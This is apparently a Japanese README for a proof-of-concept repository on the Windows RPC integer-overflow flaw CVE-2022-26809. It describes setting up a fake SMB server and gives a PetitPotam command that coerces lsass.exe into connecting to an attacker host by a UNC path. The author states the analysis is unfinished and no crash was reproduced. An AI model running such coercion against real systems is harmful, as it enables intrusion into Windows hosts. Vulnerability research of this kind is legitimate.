
CVE-2022-26809 用の概念実証エクスプロイト、Windows RPC ランタイム整数オーバーフロー脆弱性。lsass.exe に対する PetitPotam スタイルの UNC パス強制を使用したトリガースクリプトと、エクスプロイトテスト用の fake SMB サーバを含む。
このリポジトリは単にCVEの調査を行うものです。詳細な分析については、こちらを参照してください。
更新:05/19 2022
この分析はまだ完了していません……
更新:05/22 2022
HuanGMzの投稿 と corelightのブログ が実際の脆弱性箇所を示しています:
OSF_CASSOCIATION::ProcessBindAckOrNak
この脆弱性は CVE-2021-43893 と同様にトリガーされます。ESFRPCリクエストを UNCパス と共に lsass.exe に送信すると、被害者はターゲットに クライアントとして アクセスしようとします。そのため、クライアントAPI で整数オーバーフローが発生します。
この脆弱性をトリガーするためのより良い解決策があれば、遠慮なく issue や PR を提出してください :)
脆弱性は CVE-2021-43893 と同様にトリガーされるため、PetitPotam のコードをクローンするだけです。
以下のように環境を準備します:
fake_smb_server.py を attacker-server 上で実行します。事前に rpcrt.py をオリジナルのものに置き換えてください(Windowsでは445ポートはSystemによって占有されているため、Linux上にサービスをデプロイすることを推奨します)python petitpotam.py -pipe lsarpc -method DecryptFileSrv -debug "user:[email protected]" "\\attacker.path\realfile
lsass.exe にページヒープを有効にします(ただし、BSoDのトリガーには成功していませんが、windbgによると整数オーバーフローはトリガーされています)旧説明
これは Windows RPC 脆弱性 CVE-2022-26809 の再現コードです。また、https://github.com/microsoft/Windows-classic-samples/blob/main/Samples/Win7Samples/netds/rpc/hello を参照しています。
私のPythonバージョンは3.6.7です
GetCoalescedBufferが実際のCVE-2022-26809に関係するかは不明ですが、念のため残しておきます
poc.py は脆弱性関数 OSF_SCALL::GetCoalescedBuffer をトリガーしようと試みます。dword整数オーバーフローは再現が非常に難しいため、クラッシュは発生しません。また、rpcrt.py はPythonパッケージ impacket.dcerpc.v5.rpcrt です。これをオリジナルのものと置き換えて脆弱性をトリガーします(オリジナルはバックアップを忘れずに :) 。rpcrt.py には多くのバグがあると思います)。
うまくいかない場合は、wireshark がバグの特定に役立つかもしれません。
必要に応じて、nmake を使用してリビルドしてください。